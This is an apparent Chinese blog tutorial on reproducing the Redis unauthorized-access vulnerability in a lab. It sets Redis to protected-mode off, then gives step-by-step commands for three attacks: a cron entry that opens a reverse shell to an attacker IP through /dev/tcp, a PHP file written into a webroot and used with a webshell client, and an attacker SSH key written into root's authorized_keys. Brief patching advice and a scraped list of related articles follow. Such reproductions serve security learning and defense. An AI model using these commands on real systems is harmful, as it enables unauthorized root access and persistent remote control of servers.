Redis介绍

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

Redis 是一个高性能的key-value数据库。

漏洞简述

Redis中存在未授权访问漏洞,该漏洞源于程序在默认配置下会绑定在6379端口,这导致其直接暴露在公网中,可以接受来自任何地址发来的请求。当程序没有开启认证选项端口对外开放时,攻击者可借助目标服务器访问权限利用该漏洞未授权访问Redis并读取Redis的数据,在服务器上写入公钥,进而使用对应的私钥直接登录目标服务器。

安装Redis

下载redis安装包
下载地址

这里我是用的Redis 4.0.0

tar -zxvf redis-4.0.0.tar.gz #解压redis压缩包
cd redis-4.0.0 #切换到目录
make #编译安装
#安装过程中可能会报错
#安装gcc等插件,依据报错情况下载插件 yum install gcc/apt-get install gcc

cp redis.conf  ./scr/redis.conf #复制redis.conf文件到src
修改配置文件
vim redis.conf
#bind 127.0.0.1
bind 192.168.220.129 #redis服务器所在地址
protected-mode no #将yes改为no这里

启动redis服务

./redis-server ../src/redis.conf

任务计划反弹shell

攻击机监听端口
netcat -lvp 5555

攻击机连接redis服务器
redis-cli -h 192.168.220.129

将shell写入redis,设置以下参数。
set test "\n\n*/1 * * * * /bin/bash/-i&/dev/tcp/192.168.x.x/5555 0>&1\n\n" #设置计划任务为test,写入shell,一分钟后同5555端口反弹shell。
config set dir /var/spool/cron #设置计划任务的工作目录
config set dbfilename root #设置数据库名为root
save #保存


反弹shell

通过redis将webshell写入网站

设置参数

set w "<?php phpinfo(); ?>" #设置文件内容
config set dir /var/www/html/dvwa #写入目录
config set dbfilename p.php #写入文件名称
save


可以看到已经写入


上传马儿成功连接菜刀

利用公私钥获取root权限

在攻击机上生成公钥对

ssh-keygen -t rsa

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt #将公钥id_rsa.pub文件写入test.txt文件
cat test.txt #查看写入的test.txt文件。


将test.txt文件写入redis

cat test.txt | redis-cli -h 192.168.220.129 -x set crack


连接redis设置以下参数,将公钥写入到目录下的/root/.ssh/authorized_keys文件,直接免密连接目标主机。

redis-cli -h 192.168.220.129
config set dir /root/.ssh/ #设置工作目录为/root/.ssh/
config set dbfilename "authorized_keys" #设置db名字
config get dbfilename #查看db名字
config get dir #查看工作目录
save


ssh -i id_rsa root@192.168.220.129 -p 2223

修补建议

修改默认bind 127.0.0.1的地址,修改为仅允许访问的ip地址。
修改默认的6379端口。
配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中。

参考学习文章

https://www.cnblogs.com/bmjoker/p/9548962.html#gallery-24
https://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

Redis未授权访问漏洞复现相关推荐

  1. 漏洞检测与防御:Redis未授权访问漏洞复现

    漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...

  2. Redis未授权访问漏洞复现与利用

    1.漏洞介绍 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果 ...

  3. Redis未授权访问漏洞复现(三种方式)

    目录 利用无口令远程登陆redis 利用Redis的持久化写webshell 安装 复现 Redis 利用持久化,利用"公私钥"认证获取root权限 利用无口令远程登陆redis ...

  4. 未授权访问漏洞-Redis未授权访问漏洞

    文章目录 未授权概述 常见未授权访问漏洞 Redis未授权访问 Redis简介 应用场景 Redis 架构 漏洞发现 端口 端口探测 Redis常用命令 Redis历史漏洞 Redis未授权访问 Re ...

  5. Redis未授权访问漏洞详细版

    Redis未授权访问漏洞 Redis未授权访问漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  6. Redis未授权访问漏洞的重现与利用

    前言: 最近配置openvas的时候安装了redis,听说曾经曝出过一个未授权访问漏洞,便找了一下相关资料想自己动手复现一下漏洞的利用过程,当然所有的攻击性操作都是在虚拟机上完成的,本文所有的操作是在 ...

  7. Redis未授权访问漏洞的利用及防护

    什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP访问等,这样会使Redis服务完全暴露 ...

  8. Redis未授权访问漏洞记录(端口:6379)

    目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 ​ 写入/etc/passwd文件 利用主从复制RCE ​ 本地Red ...

  9. Redis未授权访问漏洞(四)SSH key免密登录

    前言 系列文章 Redis未授权访问漏洞(一)先导篇 Redis未授权访问漏洞(二)Webshell提权篇 Redis未授权访问漏洞(三)Redis写入反弹连接定时任务 SSH key免密登录 实战实 ...

最新文章

  1. Net4.0的网站在IE10、IE11出现“__doPostBack未定义”的解决办法。
  2. python raise_python raise 使用方法
  3. 分拣外观残缺的机器人_一款分拣搬运机器人的设计
  4. unity 打包AssetBundle
  5. 类的静态成员函数带来了什么好处,应该在什么时候使用?
  6. 同样一句代码,在类内调用,跟类外调用结果不同?
  7. Multisim10~14软件包及安装手册+pojie软件
  8. Java基础01(常量、变量)
  9. php 接口签署域名,使用PHP集成万网域名查询API接口
  10. 利用python爬取数据并保存到MySQL中
  11. 计算机毕业设计ssm鲲龙装饰公司在线管理系统的设计与开发前台模块iub6h系统+程序+源码+lw+远程部署
  12. vs2017 自定义背景图片
  13. 被遗忘的设计模式——空对象模式(转载)
  14. 安装proteus8和卸载
  15. linux 进程 ssl 状态,Linux进程状态与信号
  16. 微信小程序一键拨打电话
  17. 2019年计算机考研大纲,2019年计算机考研大纲(原文).pdf
  18. 视频AVI如何批量快速转换成MP4格式
  19. 一寸证件照比例大小是多少?这些方法轻松修改照片尺寸
  20. JavaScript 课堂练习 随机点名,被点过的名字不再出现

热门文章

  1. vant Weapp版本没有自带表单校验
  2. 增强方法有几种方法_101种使您的网站更加出色的方法
  3. keySet()和entrySet()
  4. 论测试人员如何控制情绪
  5. 二叉树高度最简单的求法
  6. 【MySQL】——mysql最大连接数
  7. html5 jsplumb,jsPlumb开发入门教程(实现html5拖拽连线)
  8. 小程序对文件及后缀名解析
  9. TI单芯片毫米波雷达代码走读(十一)—— 距离维(1D)处理之直流去除
  10. 如何提高表达能力(口才)的几个注意要点